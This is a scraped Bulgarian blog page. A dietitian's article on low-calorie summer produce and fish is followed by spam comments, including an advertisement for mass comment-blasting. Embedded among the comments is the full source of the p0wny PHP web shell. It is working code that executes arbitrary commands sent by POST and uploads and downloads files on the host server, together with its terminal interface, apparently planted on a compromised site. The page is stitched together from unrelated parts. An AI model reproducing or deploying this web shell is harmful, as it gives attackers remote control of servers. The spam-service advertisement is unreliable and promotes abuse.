За да бъдем във форма през цялото лято, трябва да следим какво ядем. Сезонът е богат откъм плодове и зеленчуци, така че можем да се възползваме от това предимство.
Най- важното е да бъдат с високо съдържание на вода, богати на витамини и минерали.
Диетологът Марта Лоренсо ни представя плодовете и зеленчуците, на които можем да разчитаме през лятото, за да сме слаби и във форма:
Домати. Освен вкусен и освежаващ, се препоръчва за хора с проблеми с кръвообращението, тъй като го активира. Богат е на калий, което означава, че действа като диуретик. Съдържа също ценни антиоксиданти като ликопен и витамин С.
Маруля. Богата е на калий и на витамин А. Също така на витамин С, желязо и калций. Марулята съдържа фибри и затова е важна за перисталтиката.
Краставица. Има диуретично действие, тъй като съдържа много вода. Заедно с домата са перфектна комбинация за лятна салата – само не трябва да прекаляваме с овкусяването.
Пъпеш. Въпреки сладкия вкус, всъщност е изключително нискокалоричен плод. Богат е на вода, поради което освежава идеално. Също и на витамини А, В и С.
Диня. Също много нискокалоричен плод. Съдържа витамини А, Е и С. От минералите калий и магнезий. Динята е богата на вода и фибри.
Слива. Този плод има разхлабително действие, поради което е изключително ценен през лятото. Нискокалоричен е и засища идеално, заради съдържанието на фибри.
Праскова. Богата е на витамини С, Е и К. Също на много вода и фибри. Прасковата е нискокалорична, има диуретично действие, лек слабителен ефект.
Риба. Подходящи през лятото са сардините, херинга, карагьоз, цаца и скумрия.







How are you?
A really good blog and me back again.
每天都在战争,希望2026和平.
挺不错的样子嘛!
May you always find beauty and joy in the simple things of life
看不懂但大受震撼
Very good i like it
wish you all the best
Mass comment blasting: $10 for 100k comments. All from unique blog domains, zero duplicates. I will provide a full report and guarantee Ahrefs picks them up. Email mailto:helloboy1979@gmail.com for payment info.If you received this, you know Ive got the skills.
wish you best and best
色即是空,空即是色
So dive in, have fun
无话可说,只是看看
3e5uug8pqpizxn51qdkf
‘p0wny’,
‘hostname’ => ‘shell’,
);
function expandPath($path) {
if (preg_match(„#^(~[a-zA-Z0-9_.-]*)(/.*)?$#“, $path, $match)) {
exec(„echo $match[1]“, $stdout);
return $stdout[0] . $match[2];
}
return $path;
}
function allFunctionExist($list = array()) {
foreach ($list as $entry) {
if (!function_exists($entry)) {
return false;
}
}
return true;
}
function executeCommand($cmd) {
$output = “;
if (function_exists(‘exec’)) {
exec($cmd, $output);
$output = implode(„\n“, $output);
} else if (function_exists(‘shell_exec’)) {
$output = shell_exec($cmd);
} else if (allFunctionExist(array(‘system’, ‘ob_start’, ‘ob_get_contents’, ‘ob_end_clean’))) {
ob_start();
system($cmd);
$output = ob_get_contents();
ob_end_clean();
} else if (allFunctionExist(array(‘passthru’, ‘ob_start’, ‘ob_get_contents’, ‘ob_end_clean’))) {
ob_start();
passthru($cmd);
$output = ob_get_contents();
ob_end_clean();
} else if (allFunctionExist(array(‘popen’, ‘feof’, ‘fread’, ‘pclose’))) {
$handle = popen($cmd, ‘r’);
while (!feof($handle)) {
$output .= fread($handle, 4096);
}
pclose($handle);
} else if (allFunctionExist(array(‘proc_open’, ‘stream_get_contents’, ‘proc_close’))) {
$handle = proc_open($cmd, array(0 => array(‘pipe’, ‘r’), 1 => array(‘pipe’, ‘w’)), $pipes);
$output = stream_get_contents($pipes[1]);
proc_close($handle);
}
return $output;
}
function isRunningWindows() {
return stripos(PHP_OS, „WIN“) === 0;
}
function featureShell($cmd, $cwd) {
$stdout = „“;
if (preg_match(„/^\s*cd\s*(2>&1)?$/“, $cmd)) {
chdir(expandPath(„~“));
} elseif (preg_match(„/^\s*cd\s+(.+)\s*(2>&1)?$/“, $cmd)) {
chdir($cwd);
preg_match(„/^\s*cd\s+([^\s]+)\s*(2>&1)?$/“, $cmd, $match);
chdir(expandPath($match[1]));
} elseif (preg_match(„/^\s*download\s+[^\s]+\s*(2>&1)?$/“, $cmd)) {
chdir($cwd);
preg_match(„/^\s*download\s+([^\s]+)\s*(2>&1)?$/“, $cmd, $match);
return featureDownload($match[1]);
} else {
chdir($cwd);
$stdout = executeCommand($cmd);
}
return array(
„stdout“ => base64_encode($stdout),
„cwd“ => base64_encode(getcwd())
);
}
function featurePwd() {
return array(„cwd“ => base64_encode(getcwd()));
}
function featureHint($fileName, $cwd, $type) {
chdir($cwd);
if ($type == ‘cmd’) {
$cmd = „compgen -c $fileName“;
} else {
$cmd = „compgen -f $fileName“;
}
$cmd = „/bin/bash -c \“$cmd\““;
$files = explode(„\n“, shell_exec($cmd));
foreach ($files as &$filename) {
$filename = base64_encode($filename);
}
return array(
‘files’ => $files,
);
}
function featureDownload($filePath) {
$file = @file_get_contents($filePath);
if ($file === FALSE) {
return array(
‘stdout’ => base64_encode(‘File not found / no read permission.’),
‘cwd’ => base64_encode(getcwd())
);
} else {
return array(
‘name’ => base64_encode(basename($filePath)),
‘file’ => base64_encode($file)
);
}
}
function featureUpload($path, $file, $cwd) {
chdir($cwd);
$f = @fopen($path, ‘wb’);
if ($f === FALSE) {
return array(
‘stdout’ => base64_encode(‘Invalid path / no write permission.’),
‘cwd’ => base64_encode(getcwd())
);
} else {
fwrite($f, base64_decode($file));
fclose($f);
return array(
‘stdout’ => base64_encode(‘Done.’),
‘cwd’ => base64_encode(getcwd())
);
}
}
function initShellConfig() {
global $SHELL_CONFIG;
if (isRunningWindows()) {
$username = getenv(‘USERNAME’);
if ($username !== false) {
$SHELL_CONFIG[‘username’] = $username;
}
} else {
$pwuid = posix_getpwuid(posix_geteuid());
if ($pwuid !== false) {
$SHELL_CONFIG[‘username’] = $pwuid[‘name’];
}
}
$hostname = gethostname();
if ($hostname !== false) {
$SHELL_CONFIG[‘hostname’] = $hostname;
}
}
if (isset($_GET[„feature“])) {
$response = NULL;
switch ($_GET[„feature“]) {
case „shell“:
$cmd = $_POST[‘cmd’];
if (!preg_match(‘/2>/’, $cmd)) {
$cmd .= ‘ 2>&1’;
}
$response = featureShell($cmd, $_POST[„cwd“]);
break;
case „pwd“:
$response = featurePwd();
break;
case „hint“:
$response = featureHint($_POST[‘filename’], $_POST[‘cwd’], $_POST[‘type’]);
break;
case ‘upload’:
$response = featureUpload($_POST[‘path’], $_POST[‘file’], $_POST[‘cwd’]);
}
header(„Content-Type: application/json“);
echo json_encode($response);
die();
} else {
initShellConfig();
}
?>
p0wny@shell:~#
html, body {
margin: 0;
padding: 0;
background: #333;
color: #eee;
font-family: monospace;
width: 100vw;
height: 100vh;
overflow: hidden;
}
*::-webkit-scrollbar-track {
border-radius: 8px;
background-color: #353535;
}
*::-webkit-scrollbar {
width: 8px;
height: 8px;
}
*::-webkit-scrollbar-thumb {
border-radius: 8px;
-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
background-color: #bcbcbc;
}
#shell {
background: #222;
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
font-size: 10pt;
display: flex;
flex-direction: column;
align-items: stretch;
max-width: calc(100vw – 2 * var(–shell-margin));
max-height: calc(100vh – 2 * var(–shell-margin));
resize: both;
overflow: hidden;
width: 100%;
height: 100%;
margin: var(–shell-margin) auto;
}
#shell-content {
overflow: auto;
padding: 5px;
white-space: pre-wrap;
flex-grow: 1;
}
#shell-logo {
font-weight: bold;
color: #FF4180;
text-align: center;
}
:root {
–shell-margin: 25px;
}
@media (min-width: 1200px) {
:root {
–shell-margin: 50px !important;
}
}
@media (max-width: 991px),
(max-height: 600px) {
#shell-logo {
font-size: 6px;
margin: -25px 0;
}
:root {
–shell-margin: 0 !important;
}
#shell {
resize: none;
}
}
@media (max-width: 767px) {
#shell-input {
flex-direction: column;
}
}
@media (max-width: 320px) {
#shell-logo {
font-size: 5px;
}
}
.shell-prompt {
font-weight: bold;
color: #75DF0B;
}
.shell-prompt > span {
color: #1BC9E7;
}
#shell-input {
display: flex;
box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
border-top: rgba(255, 255, 255, .05) solid 1px;
padding: 10px 0;
}
#shell-input > label {
flex-grow: 0;
display: block;
padding: 0 5px;
height: 30px;
line-height: 30px;
}
#shell-input #shell-cmd {
height: 30px;
line-height: 30px;
border: none;
background: transparent;
color: #eee;
font-family: monospace;
font-size: 10pt;
width: 100%;
align-self: center;
box-sizing: border-box;
}
#shell-input div {
flex-grow: 1;
align-items: stretch;
}
#shell-input input {
outline: none;
}
var SHELL_CONFIG = ;
var CWD = null;
var commandHistory = [];
var historyPosition = 0;
var eShellCmdInput = null;
var eShellContent = null;
function _insertCommand(command) {
eShellContent.innerHTML += „\n\n“;
eShellContent.innerHTML += “ + genPrompt(CWD) + ‘ ‘;
eShellContent.innerHTML += escapeHtml(command);
eShellContent.innerHTML += „\n“;
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function _insertStdout(stdout) {
eShellContent.innerHTML += escapeHtml(stdout);
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function _defer(callback) {
setTimeout(callback, 0);
}
function featureShell(command) {
_insertCommand(command);
if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
} else if (/^\s*clear\s*$/.test(command)) {
// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
eShellContent.innerHTML = “;
} else {
makeRequest(„?feature=shell“, {cmd: command, cwd: CWD}, function (response) {
if (response.hasOwnProperty(‘file’)) {
featureDownload(atob(response.name), response.file)
} else {
_insertStdout(atob(response.stdout));
updateCwd(atob(response.cwd));
}
});
}
}
function featureHint() {
if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
function _requestCallback(data) {
if (data.files.length 3) {
var splittedCwd = cwd.split(„/“);
shortCwd = „…/“ + splittedCwd[splittedCwd.length-2] + „/“ + splittedCwd[splittedCwd.length-1];
}
return SHELL_CONFIG[„username“] + „@“ + SHELL_CONFIG[„hostname“] + „:“ + shortCwd + „#“;
}
function updateCwd(cwd) {
if (cwd) {
CWD = cwd;
_updatePrompt();
return;
}
makeRequest(„?feature=pwd“, {}, function(response) {
CWD = atob(response.cwd);
_updatePrompt();
});
}
function escapeHtml(string) {
return string
.replace(/&/g, „&“)
.replace(//g, „>“);
}
function _updatePrompt() {
var eShellPrompt = document.getElementById(„shell-prompt“);
eShellPrompt.innerHTML = genPrompt(CWD);
}
function _onShellCmdKeyDown(event) {
switch (event.key) {
case „Enter“:
featureShell(eShellCmdInput.value);
insertToHistory(eShellCmdInput.value);
eShellCmdInput.value = „“;
break;
case „ArrowUp“:
if (historyPosition > 0) {
historyPosition–;
eShellCmdInput.blur();
eShellCmdInput.value = commandHistory[historyPosition];
_defer(function() {
eShellCmdInput.focus();
});
}
break;
case „ArrowDown“:
if (historyPosition >= commandHistory.length) {
break;
}
historyPosition++;
if (historyPosition === commandHistory.length) {
eShellCmdInput.value = „“;
} else {
eShellCmdInput.blur();
eShellCmdInput.focus();
eShellCmdInput.value = commandHistory[historyPosition];
}
break;
case ‘Tab’:
event.preventDefault();
featureHint();
break;
}
}
function insertToHistory(cmd) {
commandHistory.push(cmd);
historyPosition = commandHistory.length;
}
function makeRequest(url, params, callback) {
function getQueryString() {
var a = [];
for (var key in params) {
if (params.hasOwnProperty(key)) {
a.push(encodeURIComponent(key) + „=“ + encodeURIComponent(params[key]));
}
}
return a.join(„&“);
}
var xhr = new XMLHttpRequest();
xhr.open(„POST“, url, true);
xhr.setRequestHeader(„Content-Type“, „application/x-www-form-urlencoded“);
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
try {
var responseJson = JSON.parse(xhr.responseText);
callback(responseJson);
} catch (error) {
alert(„Error while parsing response: “ + error);
}
}
};
xhr.send(getQueryString());
}
document.onclick = function(event) {
event = event || window.event;
var selection = window.getSelection();
var target = event.target || event.srcElement;
if (target.tagName === „SELECT“) {
return;
}
if (!selection.toString()) {
eShellCmdInput.focus();
}
};
window.onload = function() {
eShellCmdInput = document.getElementById(„shell-cmd“);
eShellContent = document.getElementById(„shell-content“);
updateCwd();
eShellCmdInput.focus();
};
___ ____ _ _ _ _ _
_ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_
| ‘_ \| | | \ \ /\ / / ‘_ \| | | |/ / _` / __| ‘_ \ / _ \ | (_)/\/_ .. _|
| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|
| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_|
|_| |___/ \____/
???
All the best
Wish you happiness
yahoo,im go
Great content! Keep up the good work!
Every day is a new beginning
Hahahaha You are so good
Im 4466,yahoo
Good a blog toper